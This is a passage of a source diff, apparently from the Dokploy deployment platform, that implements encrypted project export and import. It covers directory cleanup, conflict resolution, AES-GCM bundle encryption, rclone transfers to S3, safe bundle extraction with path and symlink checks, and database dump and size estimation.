if (now - mtimeMs < ORPHAN_AGE_MS) continue;
} catch {
continue;
}
await rm(entryPath, { recursive: true, force: true }).catch((error) => {
console.error(
`Failed to remove orphaned export/import directory ${entry}:`,
error,
);
});
}
};
export const sweepRemoteTransferDirectories = async (
serverIds: string[],
bootedAt: number,
pathsFn: typeof paths = paths,
): Promise<void> => {
const root = pathsFn(true).PROJECT_EXPORT_IMPORT_PATH;
const bootEpoch = Math.floor(bootedAt / 1000);
for (const serverId of serverIds) {
try {
// Uploads only register their job once they finish, so anything touched
// after boot may still be in flight.
const { stdout } = await run(
serverId,
`find ${escapeShellArg(root)} -mindepth 1 -maxdepth 1 ! -newermt @${bootEpoch} 2>/dev/null || true`,
);
for (const entryPath of stdout.split("\n").filter(Boolean)) {
const entry = basename(entryPath);
if (hasLiveJob(entry)) continue;
await remove({ serverId, path: join(root, entry) });
}
} catch (error) {
console.error(
`Failed to sweep export/import directories on server ${serverId}:`,
error,
);
}
}
};
// Job state is in memory, so after a restart nothing else knows about the
// workspaces left on remote servers; one pass at boot is enough.
const sweepRemoteServersOnBoot = async (bootedAt: number): Promise<void> => {
const servers = await db.query.server.findMany({
where: eq(server.serverStatus, "active"),
columns: { serverId: true },
});
await sweepRemoteTransferDirectories(
servers.map((s) => s.serverId),
bootedAt,
);
};
export const initProjectExportImportCleanup = (): void => {
const sweep = () => {
cleanupExpiredExports().catch((error) => {
console.error("Failed to clean up expired export jobs:", error);
});
cleanupExpiredImports().catch((error) => {
console.error("Failed to clean up expired import jobs:", error);
});
sweepOrphanedTransferDirectories().catch((error) => {
console.error(
"Failed to sweep orphaned export/import directories:",
error,
);
});
};
sweep();
setInterval(sweep, SWEEP_INTERVAL_MS).unref();
sweepRemoteServersOnBoot(Date.now()).catch((error) => {
console.error("Failed to sweep remote export/import directories:", error);
});
};
@@ -0,0 +1,76 @@
import type {
Conflict,
ConflictKind,
ConflictOption,
ConflictResolution,
Target,
} from "./types";
import { conflictKey } from "./types";
export const CONFLICT_OPTIONS: Record<ConflictKind, ConflictOption[]> = {
domain: ["rename", "skip"],
port: ["rename", "skip", "keep"],
projectName: ["rename"],
network: ["keep", "rename", "skip"],
};
const suggestedProjectName = (name: string) => `${name} (imported)`;
const defaultConflictResolution = (conflict: Conflict): ConflictResolution => {
switch (conflict.kind) {
case "domain":
case "port":
return { action: "skip" };
case "projectName":
return {
action: "rename",
value: suggestedProjectName(conflict.value),
};
case "network":
return { action: "keep" };
}
};
const isValidRenameValue = (kind: ConflictKind, value: string | undefined) => {
if (!value || value.trim().length === 0) return false;
if (kind !== "port") return true;
const port = Number(value.trim());
return Number.isInteger(port) && port >= 1 && port <= 65535;
};
export const resolveConflicts = (
conflicts: Conflict[],
choices: Record<string, ConflictResolution> | undefined,
): Record<string, ConflictResolution> => {
const resolved: Record<string, ConflictResolution> = {};
for (const conflict of conflicts) {
const key = conflictKey(conflict);
const choice = choices?.[key];
const valid =
choice &&
conflict.options.includes(choice.action) &&
(choice.action !== "rename" ||
isValidRenameValue(conflict.kind, choice.value));
resolved[key] = valid ? choice : defaultConflictResolution(conflict);
}
return resolved;
};
export const conflictResolutionsOf = (plan: {
conflicts: Conflict[];
conflictResolutions?: Record<string, ConflictResolution>;
target: Target;
}): Record<string, ConflictResolution> =>
plan.conflictResolutions ?? resolveConflicts(plan.conflicts, undefined);
export const resolvedProjectName = (
target: Target,
resolutions: Record<string, ConflictResolution>,
): string | undefined => {
if (target.kind !== "newProject") return undefined;
const resolution =
resolutions[conflictKey({ kind: "projectName", value: target.name })];
return resolution?.action === "rename" && resolution.value
? resolution.value.trim()
: target.name;
};
@@ -0,0 +1,189 @@
import {
createCipheriv,
createDecipheriv,
type DecipherGCM,
randomBytes,
scrypt,
} from "node:crypto";
import { Transform } from "node:stream";
import { KDF_PARAMS } from "./types";
const deriveScryptKey = (
passphrase: string,
salt: Buffer,
keylen: number,
): Promise<Buffer> =>
new Promise((resolve, reject) => {
scrypt(
passphrase,
salt,
keylen,
{
N: KDF_PARAMS.N,
r: KDF_PARAMS.r,
p: KDF_PARAMS.p,
maxmem: 64 * 1024 * 1024,
},
(err, derivedKey) => {
if (err) {
reject(err);
return;
}
resolve(derivedKey);
},
);
});
export class TransferCryptoError extends Error {
constructor(
message = "Failed to decrypt: wrong passphrase or corrupted bundle",
) {
super(message);
this.name = "TransferCryptoError";
}
}
const IV_LENGTH = 12;
const KEY_LENGTH = KDF_PARAMS.dkLen / 2;
const KEY_CHECK_ID = "keyCheck";
const KEY_CHECK_PLAINTEXT = "dokploy-export-v1";
export type DerivedKeys = { salt: string; kEnc: Buffer };
export type EncryptedEntry = { iv: string; ct: string; tag: string };
export const assertPassphrase = (passphrase: string) => {
if (passphrase.length < 12) {
throw new Error("Passphrase must be at least 12 characters long");
}
};
export const deriveKeys = async (
passphrase: string,
saltInput?: string,
): Promise<DerivedKeys> => {
assertPassphrase(passphrase);
const salt = saltInput ? Buffer.from(saltInput, "base64") : randomBytes(16);
const derived = await deriveScryptKey(passphrase, salt, KDF_PARAMS.dkLen);
return {
salt: salt.toString("base64"),
kEnc: derived.subarray(0, KEY_LENGTH),
};
};
export const encryptField = (
kEnc: Buffer,
id: string,
plaintext: string,
): EncryptedEntry => {
const iv = randomBytes(IV_LENGTH);
const cipher = createCipheriv("aes-256-gcm", kEnc, iv);
cipher.setAAD(Buffer.from(id, "utf8"));
const ct = Buffer.concat([cipher.update(plaintext, "utf8"), cipher.final()]);
return {
iv: iv.toString("base64"),
ct: ct.toString("base64"),
tag: cipher.getAuthTag().toString("base64"),
};
};
export const decryptField = (
kEnc: Buffer,
id: string,
entry: EncryptedEntry,
): string => {
try {
const decipher = createDecipheriv(
"aes-256-gcm",
kEnc,
Buffer.from(entry.iv, "base64"),
);
decipher.setAAD(Buffer.from(id, "utf8"));
decipher.setAuthTag(Buffer.from(entry.tag, "base64"));
return Buffer.concat([
decipher.update(Buffer.from(entry.ct, "base64")),
decipher.final(),
]).toString("utf8");
} catch {
throw new TransferCryptoError();
}
};
export const makeKeyCheck = (kEnc: Buffer): string =>
JSON.stringify(encryptField(kEnc, KEY_CHECK_ID, KEY_CHECK_PLAINTEXT));
export const verifyKeyCheck = (kEnc: Buffer, keyCheck: string): boolean => {
try {
const entry = JSON.parse(keyCheck) as EncryptedEntry;
return decryptField(kEnc, KEY_CHECK_ID, entry) === KEY_CHECK_PLAINTEXT;
} catch {
return false;
}
};
const FILE_TAG_LENGTH = 16;
export const gcmEncryptStream = (kEnc: Buffer): Transform => {
const iv = randomBytes(IV_LENGTH);
const cipher = createCipheriv("aes-256-gcm", kEnc, iv);
let started = false;
return new Transform({
transform(chunk: Buffer, _encoding, callback) {
if (!started) {
started = true;
this.push(iv);
}
callback(null, cipher.update(chunk));
},
flush(callback) {
if (!started) this.push(iv);
this.push(cipher.final());
this.push(cipher.getAuthTag());
callback();
},
});
};
export const gcmDecryptStream = (kEnc: Buffer): Transform => {
let head = Buffer.alloc(0);
let decipher: DecipherGCM | undefined;
let tail = Buffer.alloc(0);
return new Transform({
transform(chunk: Buffer, _encoding, callback) {
let data = chunk;
if (!decipher) {
head = Buffer.concat([head, data]);
if (head.length < IV_LENGTH) return callback();
decipher = createDecipheriv(
"aes-256-gcm",
kEnc,
head.subarray(0, IV_LENGTH),
) as DecipherGCM;
data = head.subarray(IV_LENGTH);
}
const combined = Buffer.concat([tail, data]);
if (combined.length <= FILE_TAG_LENGTH) {
tail = combined;
return callback();
}
tail = combined.subarray(combined.length - FILE_TAG_LENGTH);
callback(
null,
decipher.update(
combined.subarray(0, combined.length - FILE_TAG_LENGTH),
),
);
},
flush(callback) {
if (!decipher || tail.length < FILE_TAG_LENGTH) {
return callback(new TransferCryptoError());
}
try {
decipher.setAuthTag(tail);
this.push(decipher.final());
callback();
} catch {
callback(new TransferCryptoError());
}
},
});
};
@@ -0,0 +1,128 @@
import type { Destination } from "@dokploy/server/services/destination";
import { getS3Credentials } from "@dokploy/server/utils/backups/utils";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { openProcessStream } from "@dokploy/server/utils/process/remoteStream";
import { quote } from "shell-quote";
import slug from "slugify";
import { deriveKeys, verifyKeyCheck } from "./crypto";
import { type Location, run } from "./remote-fs";
import { BUNDLE_EXTENSION, type Manifest, manifestSchema } from "./types";
export const EXPORTS_DIRECTORY = "dokploy-export-import";
const MANIFEST_PROBE_BYTES = 4 * 1024 * 1024;
const RCLONE_FLAGS = "--contimeout 30s --retries 1 --low-level-retries 3";
export const slugifyProjectName = (name: string): string =>
slug(name, { lower: true, trim: true, strict: true }) || "project";
export const buildBundleObjectKey = (
projectSlug: string,
exportedAt: string,
): string =>
`${EXPORTS_DIRECTORY}/${projectSlug}-${exportedAt.replace(/[:.]/g, "-")}${BUNDLE_EXTENSION}`;
const objectPath = (destination: Destination, key: string) =>
`:s3:${destination.bucket}/${key}`;
export const uploadBundleToDestination = async (
destination: Destination,
bundle: Location,
key: string,
): Promise<void> => {
const flags = getS3Credentials(destination);
await run(
bundle.serverId,
`rclone copyto ${RCLONE_FLAGS} ${flags.join(" ")} ${quote([bundle.path])} ${quote([objectPath(destination, key)])}`,
);
};
export const downloadBundleFromDestination = async (
destination: Destination,
key: string,
bundle: Location,
): Promise<void> => {
const flags = getS3Credentials(destination);
await run(
bundle.serverId,
`rclone copyto ${RCLONE_FLAGS} ${flags.join(" ")} ${quote([objectPath(destination, key)])} ${quote([bundle.path])}`,
);
};
export const deleteBundleFromDestination = async (
destination: Destination,
key: string,
): Promise<void> => {
const flags = getS3Credentials(destination);
await execAsync(
`rclone deletefile ${RCLONE_FLAGS} ${flags.join(" ")} ${quote([objectPath(destination, key)])}`,
);
};
export const streamBundleFromDestination = (
destination: Destination,
key: string,
) => {
const flags = getS3Credentials(destination);
return openProcessStream(
null,
`rclone cat ${RCLONE_FLAGS} ${flags.join(" ")} ${quote([objectPath(destination, key)])}`,
);
};
export type RemoteBundleInfo = { key: string; size: number; modTime: string };
export const listBundles = async (
destination: Destination,
): Promise<RemoteBundleInfo[]> => {
const flags = getS3Credentials(destination);
const { stdout } = await execAsync(
`rclone lsjson ${RCLONE_FLAGS} ${flags.join(" ")} ${quote([objectPath(destination, EXPORTS_DIRECTORY)])}`,
).catch((error: { stderr?: string }) => {
if (error.stderr?.includes("directory not found")) return { stdout: "[]" };
throw error;
});
const entries = JSON.parse(stdout) as Array<{
Path: string;
Size: number;
ModTime: string;
IsDir: boolean;
}>;
return entries
.filter((entry) => !entry.IsDir && entry.Path.endsWith(BUNDLE_EXTENSION))
.map((entry) => ({
key: `${EXPORTS_DIRECTORY}/${entry.Path}`,
size: entry.Size,
modTime: entry.ModTime,
}))
.sort((a, b) => b.modTime.localeCompare(a.modTime));
};
const readRemoteManifest = async (
destination: Destination,
key: string,
): Promise<Manifest | undefined> => {
const flags = getS3Credentials(destination);
const { stdout } = await execAsync(
`rclone cat ${RCLONE_FLAGS} ${flags.join(" ")} --count ${MANIFEST_PROBE_BYTES} ${quote([objectPath(destination, key)])} | tar -xzOf - manifest.json 2>/dev/null || true`,
{ shell: "/bin/bash" },
);
if (!stdout.trim()) return undefined;
const parsed = manifestSchema.safeParse(JSON.parse(stdout));
return parsed.success ? parsed.data : undefined;
};
export const verifyBundlePassphrase = async (
destination: Destination,
key: string,
passphrase: string,
): Promise<{ checked: boolean; valid: boolean; exportedAt?: string }> => {
const manifest = await readRemoteManifest(destination, key);
if (!manifest) return { checked: false, valid: false };
const { kEnc } = await deriveKeys(passphrase, manifest.crypto.salt);
return {
checked: true,
valid: verifyKeyCheck(kEnc, manifest.crypto.keyCheck),
exportedAt: manifest.exportedAt,
};
};
@@ -0,0 +1,209 @@
import {
deriveKeys,
gcmDecryptStream,
TransferCryptoError,
verifyKeyCheck,
} from "./crypto";
import { migrateManifest } from "./migrations";
import {
at,
escapeShellArg,
fileSize,
type Location,
pipeThrough,
readFile,
remove,
run,
} from "./remote-fs";
import { PAYLOAD_FILE } from "./serialize";
import type {
Inventory,
Manifest,
Requirement,
Snapshot,
Warning,
} from "./types";
import { manifestSchema, snapshotSchema } from "./types";
const DEFAULT_MAX_DECOMPRESSED_BYTES = 20 * 1024 * 1024 * 1024;
export const isUnsafeBundlePath = (value: string): boolean =>
value.startsWith("/") || value.split("/").includes("..");
export const assertSafeBundlePath = (value: string, label: string): void => {
if (isUnsafeBundlePath(value)) {
throw new Error(`Unsafe path in bundle: "${label}"`);
}
};
const assertSafeTarEntries = async (archive: Location) => {
const { stdout } = await run(
archive.serverId,
`tar -tzf ${escapeShellArg(archive.path)} | grep -E '^/|(^|/)\\.\\.(/|$)' | head -n 1; true`,
);
const unsafe = stdout.trim();
if (unsafe) {
throw new Error(`Unsafe path in bundle: "${unsafe}"`);
}
};
const assertNoUnsafeSymlinks = async (dir: Location): Promise<void> => {
const { stdout } = await run(
dir.serverId,
`cd ${escapeShellArg(dir.path)} && find . -type l -exec sh -c 'printf "%s\\0%s\\0" "$1" "$(readlink "$1")"' _ {} \\;`,
);
const parts = stdout.split("\0");
for (let i = 0; i + 1 < parts.length; i += 2) {
const link = parts[i] ?? "";
const target = parts[i + 1] ?? "";
const resolved = target.startsWith("/")
? ["..", target]
: [...link.split("/").slice(0, -1), ...target.split("/")];
let depth = 0;
for (const part of resolved) {
if (part === "..") depth -= 1;
else if (part && part !== ".") depth += 1;
if (depth < 0) {
throw new Error(`Unsafe symlink in bundle: "${link}" -> "${target}"`);
}
}
}
};
const extractedBytes = async (dir: Location): Promise<number> => {
const { stdout } = await run(
dir.serverId,
`du -sk ${escapeShellArg(dir.path)} | cut -f1`,
);
return (Number.parseInt(stdout.trim(), 10) || 0) * 1024;
};
// gzip -l wraps at 4GiB, so count the real stream without writing it to disk.
const decompressedSize = async (archive: Location): Promise<number> => {
const { stdout } = await run(
archive.serverId,
`gzip -dc ${escapeShellArg(archive.path)} | wc -c`,
);
return Number.parseInt(stdout.trim(), 10) || 0;
};
const extractInto = async (
archive: Location,
dir: Location,
maxBytes: number,
) => {
await assertSafeTarEntries(archive);
const size = await fileSize(archive);
if (size > maxBytes) {
throw new Error(
`Bundle size (${size} bytes) exceeds the limit (${maxBytes} bytes)`,
);
}
const decompressed = await decompressedSize(archive);
if (decompressed > maxBytes) {
throw new Error(
`Bundle decompressed size (${decompressed} bytes) exceeds the limit (${maxBytes} bytes)`,
);
}
await run(
dir.serverId,
`mkdir -p ${escapeShellArg(dir.path)} && tar -xzf ${escapeShellArg(archive.path)} -C ${escapeShellArg(dir.path)}`,
);
try {
await assertNoUnsafeSymlinks(dir);
const extracted = await extractedBytes(dir);
if (extracted > maxBytes) {
throw new Error(
`Bundle decompressed size (${extracted} bytes) exceeds the limit (${maxBytes} bytes)`,
);
}
} catch (error) {
await remove(dir);
throw error;
}
};
const readJson = async <T>(workDir: Location, name: string): Promise<T> =>
JSON.parse((await readFile(at(workDir, name))).toString("utf8"));
const readManifest = async (workDir: Location): Promise<Manifest> =>
migrateManifest(
manifestSchema.parse(await readJson(workDir, "manifest.json")),
);
export type InspectBundleOptions = { maxDecompressedBytes?: number };
export type InspectBundleResult = {
manifest: Manifest;
inventory: Inventory;
requirements: Requirement[];
warnings: Warning[];
};
export const inspectBundle = async (
bundle: Location,
workDir: Location,
opts: InspectBundleOptions = {},
): Promise<InspectBundleResult> => {
const maxBytes = opts.maxDecompressedBytes ?? DEFAULT_MAX_DECOMPRESSED_BYTES;
await extractInto(bundle, workDir, maxBytes);
return {
manifest: await readManifest(workDir),
inventory: await readJson(workDir, "inventory.json"),
requirements: await readJson(workDir, "requirements.json"),
warnings: await readJson(workDir, "warnings.json"),
};
};
export type UnlockBundleResult = {
snapshot: Snapshot;
secretsPlain: Map<string, string>;
};
export const unlockBundle = async (
workDir: Location,
passphrase: string,
opts: InspectBundleOptions = {},
): Promise<UnlockBundleResult> => {
const maxBytes = opts.maxDecompressedBytes ?? DEFAULT_MAX_DECOMPRESSED_BYTES;
const manifest = await readManifest(workDir);
const { kEnc } = await deriveKeys(passphrase, manifest.crypto.salt);
if (!verifyKeyCheck(kEnc, manifest.crypto.keyCheck)) {
throw new TransferCryptoError("Incorrect passphrase");
}
const payload = at(workDir, "payload.tar.gz");
try {
await pipeThrough(
at(workDir, PAYLOAD_FILE),
gcmDecryptStream(kEnc),
payload,
);
await extractInto(payload, workDir, maxBytes);
} finally {
await remove(payload).catch(() => {});
await remove(at(workDir, PAYLOAD_FILE)).catch(() => {});
}
const secretsPlain = new Map(
Object.entries(
await readJson<Record<string, string>>(workDir, "secrets.json"),
),
);
await remove(at(workDir, "secrets.json"));
const snapshot = snapshotSchema.parse({
manifest,
resources: {
project: await readJson(workDir, "resources/project.json"),
environments: await readJson(workDir, "resources/environments.json"),
services: await readJson(workDir, "resources/services.json"),
shared: await readJson(workDir, "resources/shared.json"),
},
requirements: await readJson(workDir, "requirements.json"),
warnings: await readJson(workDir, "warnings.json"),
dumps: await readJson(workDir, "dumps.json"),
});
return { snapshot, secretsPlain };
};
@@ -0,0 +1,361 @@
import type { BackupSchedule } from "@dokploy/server/services/backup";
import {
generateBackupCommand,
getComposeContainerCommand,
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
getServiceContainerCommand,
} from "@dokploy/server/utils/backups/utils";
import { quote } from "shell-quote";
import type { ProjectTree, TransferDb } from "./queries";
import {
at,
fileSize,
type Location,
mkdirp,
remove,
runToFile,
safeErrorMessage,
} from "./remote-fs";
import { SERVICE_ID_FIELD, scopedServices } from "./service-kinds";
import type {
DumpIndex,
Emit,
ExportScope,
ServiceType,
UsedBy,
Warning,
} from "./types";
import { MAX_EMBEDDED_DUMP_BYTES } from "./types";
export type { DumpIndex } from "./types";
export const LIBSQL_DATA_DIR = "iku.db";
const getMongoInstanceDumpCommand = (
databaseUser: string,
databasePassword: string,
) =>
`docker exec -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mongodump -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --archive --gzip'`;
export const DUMPABLE_DB_TYPES: ServiceType[] = [
"postgres",
"mysql",
"mariadb",
"mongo",
"libsql",
];
type DumpCommand = { command: string; ext: string; containerSearch: string };
export const DUMP_EXT: Record<string, string> = {
postgres: "sql.gz",
mysql: "sql.gz",
mariadb: "sql.gz",
mongo: "archive.gz",
libsql: "tar.gz",
};
export const buildDumpCommand = (
serviceType: ServiceType,
service: Record<string, unknown>,
): DumpCommand | undefined => {
const appName = service.appName as string;
const containerSearch = getServiceContainerCommand(appName);
switch (serviceType) {
case "postgres":
return {
command: getPostgresBackupCommand(
service.databaseName as string,
service.databaseUser as string,
),
ext: DUMP_EXT[serviceType] as string,
containerSearch,
};
case "mysql":
return {
command: getMysqlBackupCommand(
service.databaseName as string,
service.databaseRootPassword as string,
),
ext: DUMP_EXT[serviceType] as string,
containerSearch,
};
case "mariadb":
return {
command: getMariadbBackupCommand(
service.databaseName as string,
service.databaseUser as string,
service.databasePassword as string,
),
ext: DUMP_EXT[serviceType] as string,
containerSearch,
};
case "mongo":
return {
command: getMongoInstanceDumpCommand(
service.databaseUser as string,
service.databasePassword as string,
),
ext: DUMP_EXT[serviceType] as string,
containerSearch,
};
case "libsql":
return {
command: getLibsqlBackupCommand(LIBSQL_DATA_DIR),
ext: DUMP_EXT[serviceType] as string,
containerSearch,
};
default:
return undefined;
}
};
export const buildComposeDumpCommand = (
backup: Record<string, unknown>,
): DumpCommand | undefined => {
const command = generateBackupCommand({
...backup,
backupType: "compose",
} as BackupSchedule);
const ext = DUMP_EXT[backup.databaseType as string];
if (!command || !ext) return undefined;
return {
command,
ext,
containerSearch: getComposeContainerCommand(
backup.appName as string,
(backup.serviceName as string | null) ?? "",
backup.composeType as "stack" | "docker-compose" | undefined,
),
};
};
export const buildFullDumpScript = ({
containerSearch,
command,
}: DumpCommand): string =>
`set -eo pipefail; CONTAINER_ID=$(${containerSearch}); if [ -z "$CONTAINER_ID" ]; then echo "Container not found" >&2; exit 1; fi; ${command}`;
export type RunDumpToFile = (
serverId: string | null,
dumpCommand: DumpCommand,
target: Location,
) => Promise<void>;
export const runDumpToFile: RunDumpToFile = (serverId, dumpCommand, target) =>
runToFile(serverId, buildFullDumpScript(dumpCommand), target);
export type CreateDumpsOptions = {
emit?: Emit;
runDump?: RunDumpToFile;
};
export const createDumps = async (
db: TransferDb,
tree: ProjectTree,
scope: ExportScope,
workDir: Location,
opts: CreateDumpsOptions = {},
): Promise<{ dumps: DumpIndex[]; warnings: Warning[] }> => {
const emit = opts.emit ?? (() => {});
const runDump = opts.runDump ?? runDumpToFile;
const dumps: DumpIndex[] = [];
const warnings: Warning[] = [];
if (scope.dumps.mode === "none") {
return { dumps, warnings };
}
const dumpsDir = at(workDir, "dumps");
if (scope.dumps.mode === "embed") {
await mkdirp(dumpsDir);
}
for (const { serviceType, environmentId, service } of scopedServices(
tree,
scope,
)) {
const serverId = (service.serverId as string | null) ?? null;
const appName = service.appName as string;
if (serviceType === "compose") {
const composeId = service[SERVICE_ID_FIELD.compose] as string;
const backups = (service.backups as Record<string, unknown>[]) ?? [];
for (const backup of backups) {
const dumpCountBefore = dumps.length;
await dumpOne(db, scope, dumpsDir, emit, runDump, dumps, warnings, {
serviceType: "compose",
serviceId: composeId,
fileKey: backup.backupId as string,
environmentId,
appName,
serverId,
built: buildComposeDumpCommand(backup),
backupIds: [backup.backupId as string],
});
if (dumps.length === dumpCountBefore) {
continue;
}
warnings.push({
code: "COMPOSE_DUMP_NOT_RESTORABLE",
severity: "warning",
message: `The dump for compose service "${appName}" will be included in the bundle, but compose dumps can't be restored automatically on import; it will need to be restored manually.`,
affected: [
{
serviceId: composeId,
serviceType: "compose",
serviceName: appName,
environmentId,
},
],
});
}
continue;
}
if (!DUMPABLE_DB_TYPES.includes(serviceType)) {
continue;
}
const serviceId = service[SERVICE_ID_FIELD[serviceType]] as string;
const backupIds = (
(service.backups as Record<string, unknown>[] | undefined) ?? []
).map((b) => b.backupId as string);
const dumpCountBefore = dumps.length;
await dumpOne(db, scope, dumpsDir, emit, runDump, dumps, warnings, {
serviceType,
serviceId,
environmentId,
appName,
serverId,
built: buildDumpCommand(serviceType, service),
backupIds,
});
if (serviceType === "mongo" && dumps.length > dumpCountBefore) {
warnings.push({
code: "MONGO_ADMIN_USERS_NOT_RESTORED",
severity: "info",
message: `The mongo dump for "${appName}" restores every database except admin and config, so extra users or roles defined there are not recreated; only the root credentials stored in Dokploy are.`,
affected: [
{ serviceId, serviceType, serviceName: appName, environmentId },
],
});
}
}
if (!dumps.some((dump) => dump.mode === "embed")) {
await remove(dumpsDir).catch(() => {});
}
return { dumps, warnings };
};
type DumpOneOptions = {
serviceType: ServiceType;
serviceId: string;
fileKey?: string;
environmentId: string;
appName: string;
serverId: string | null;
built: DumpCommand | undefined;
backupIds: string[];
};
const dumpOne = async (
db: TransferDb,
scope: ExportScope,
dumpsDir: Location,
emit: Emit,
runDump: RunDumpToFile,
dumps: DumpIndex[],
warnings: Warning[],
{
serviceType,
serviceId,
fileKey,
environmentId,
appName,
serverId,
built,
backupIds,
}: DumpOneOptions,
) => {
if (!built) {
return;
}
const key = fileKey ?? serviceId;
const usedBy: UsedBy = {
serviceId,
serviceType,
serviceName: appName,
environmentId,
};
if (scope.dumps.mode === "embed") {
const target = at(dumpsDir, `${key}.${built.ext}`);
try {
await runDump(serverId, built, target);
const size = await fileSize(target);
if (size > MAX_EMBEDDED_DUMP_BYTES) {
await remove(target);
warnings.push({
code: "DUMP_SKIPPED_TOO_LARGE",
severity: "warning",
message: `Dump for "${appName}" is ${size} bytes, over the ${MAX_EMBEDDED_DUMP_BYTES} byte embed limit; skipped.`,
affected: [usedBy],
});
return;
}
dumps.push({
serviceId,
serviceType,
mode: "embed",
ext: built.ext,
path: `dumps/${key}.${built.ext}`,
bytes: size,
});
emit(`Dumped ${serviceType} "${appName}" (${size} bytes)`);
} catch (error) {
const detail = safeErrorMessage(error);
emit(`Failed to dump ${serviceType} "${appName}": ${detail}`);
warnings.push({
code: "DUMP_FAILED",
severity: "warning",
message: `Dump for "${appName}" failed: ${detail}`,
affected: [usedBy],
});
await remove(target).catch(() => {});
}
return;
}
if (backupIds.length === 0) {
return;
}
const lastSuccessful = await db.query.deployments.findMany({
where: (fields, { inArray, eq, and }) =>
and(inArray(fields.backupId, backupIds), eq(fields.status, "done")),
orderBy: (fields, { desc }) => desc(fields.createdAt),
limit: 1,
});
const deployment = lastSuccessful[0];
if (!deployment) {
return;
}
const backupRow = await db.query.backups.findFirst({
where: (fields, { eq }) =>
eq(fields.backupId, deployment.backupId as string),
});
if (!backupRow) {
return;
}
dumps.push({
serviceId,
serviceType,
mode: "referenceLastBackup",
destinationId: backupRow.destinationId,
keyPrefix: `${appName}/${backupRow.prefix.replace(/^\/+|\/+$/g, "")}/`,
});
};
@@ -0,0 +1,156 @@
import { paths } from "@dokploy/server/constants";
import { getServiceContainerCommand } from "@dokploy/server/utils/backups/utils";
import {
execAsync,
execAsyncRemote,
} from "@dokploy/server/utils/process/execAsync";
import { quote } from "shell-quote";
import { DUMPABLE_DB_TYPES, LIBSQL_DATA_DIR } from "./dumps";
import type { ProjectTree } from "./queries";
import { escapeShellArg } from "./remote-fs";
import { scopedServices } from "./service-kinds";
import type { ExportScope, ServiceType } from "./types";
export type RunSizeProbe = (
serverId: string | null,
command: string,
) => Promise<string>;
const defaultProbe: RunSizeProbe = async (serverId, command) => {
const { stdout } = serverId
? await execAsyncRemote(serverId, command)
: await execAsync(command);
return stdout;
};
const inContainer = (appName: string, envs: string, script: string) =>
`CONTAINER_ID=$(${getServiceContainerCommand(appName)}); if [ -z "$CONTAINER_ID" ]; then exit 1; fi; docker exec ${envs} -i "$CONTAINER_ID" sh -c ${quote([script])}`;
export const buildDatabaseSizeCommand = (
serviceType: ServiceType,
service: Record<string, unknown>,
): string | undefined => {
const appName = service.appName as string;
const env = (name: string, value: unknown) =>
`-e ${name}=${quote([String(value ?? "")])}`;
switch (serviceType) {
case "postgres":
return inContainer(
appName,
`${env("DB_NAME", service.databaseName)} ${env("DB_USER", service.databaseUser)}`,
'psql -U "$DB_USER" -d "$DB_NAME" -tAc "SELECT pg_database_size(current_database())"',
);
case "mysql":
return inContainer(
appName,
`${env("DB_NAME", service.databaseName)} ${env("DB_PASS", service.databaseRootPassword)}`,
'mysql -uroot --password="$DB_PASS" -N -s "$DB_NAME" -e "SELECT COALESCE(SUM(data_length+index_length),0) FROM information_schema.tables WHERE table_schema=DATABASE()"',
);
case "mariadb":
return inContainer(
appName,
`${env("DB_NAME", service.databaseName)} ${env("DB_USER", service.databaseUser)} ${env("DB_PASS", service.databasePassword)}`,
'mariadb -u"$DB_USER" --password="$DB_PASS" -N -s "$DB_NAME" -e "SELECT COALESCE(SUM(data_length+index_length),0) FROM information_schema.tables WHERE table_schema=DATABASE()"',
);
case "mongo":
return inContainer(
appName,
`${env("DB_USER", service.databaseUser)} ${env("DB_PASS", service.databasePassword)}`,
'mongosh --quiet -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --eval "db.getMongo().getDBNames().filter(function(n){return !/^(admin|config|local)$/.test(n)}).reduce(function(s,n){return s+db.getSiblingDB(n).stats().dataSize},0)"',
);
case "libsql":
return inContainer(
appName,
env("DB_NAME", LIBSQL_DATA_DIR),
'du -sk "/var/lib/sqld/$DB_NAME" | awk "{print \\$1*1024}"',
);
default:
return undefined;
}
};
export const buildDirectorySizeCommand = (path: string): string =>
`du -sk ${escapeShellArg(path)} | awk '{print $1*1024}'`;
const parseBytes = (output: string): number => {
const value = Number.parseInt(output.trim().split("\n").at(-1) ?? "", 10);
return Number.isFinite(value) && value > 0 ? value : 0;
};
const safeProbe = async (
probe: RunSizeProbe,
serverId: string | null,
command: string | undefined,
): Promise<number> => {
if (!command) return 0;
try {
return parseBytes(await probe(serverId, command));
} catch {
return 0;
}
};
export type EstimateSizesOptions = {
probe?: RunSizeProbe;
pathsFn?: typeof paths;
};
export const estimateSizes = async (
tree: ProjectTree,
scope: ExportScope,
opts: EstimateSizesOptions = {},
): Promise<{ estimatedDumpBytes: number; estimatedFilesBytes: number }> => {
const probe = opts.probe ?? defaultProbe;
const pathsFn = opts.pathsFn ?? paths;
const dumpJobs: Promise<number>[] = [];
const fileJobs: Promise<number>[] = [];
for (const { serviceType, service } of scopedServices(tree, scope)) {
const serverId = (service.serverId as string | null) ?? null;
const appName = service.appName as string | undefined;
if (!appName) continue;
if (
scope.dumps.mode === "embed" &&
DUMPABLE_DB_TYPES.includes(serviceType)
) {
dumpJobs.push(
safeProbe(
probe,
serverId,
buildDatabaseSizeCommand(serviceType, service),
),
);
}
const remotePaths = pathsFn(serverId !== null);
if (serviceType === "application" && scope.files.applicationSources) {
fileJobs.push(
safeProbe(
probe,
serverId,
buildDirectorySizeCommand(
`${remotePaths.APPLICATIONS_PATH}/${appName}`,
),
),
);
}
if (serviceType === "compose" && scope.files.composeFiles) {
fileJobs.push(
safeProbe(
probe,
serverId,
buildDirectorySizeCommand(`${remotePaths.COMPOSE_PATH}/${appName}`),
),
);
}
}
const [dumpSizes, fileSizes] = await Promise.all([
Promise.all(dumpJobs),
Promise.all(fileJobs),
]);
const sum = (values: number[]) => values.reduce((a, b) => a + b, 0);
return {
estimatedDumpBytes: sum(dumpSizes),
estimatedFilesBytes: sum(fileSizes),
};
};
@@ -0,0 +1,319 @@
import { randomUUID } from "node:crypto";
import { appendFile, mkdir } from "node:fs/promises";
import { dirname, join } from "node:path";
import { IS_CLOUD, paths } from "@dokploy/server/constants";
import { TRPCError } from "@trpc/server";
import { capture } from "./capture";
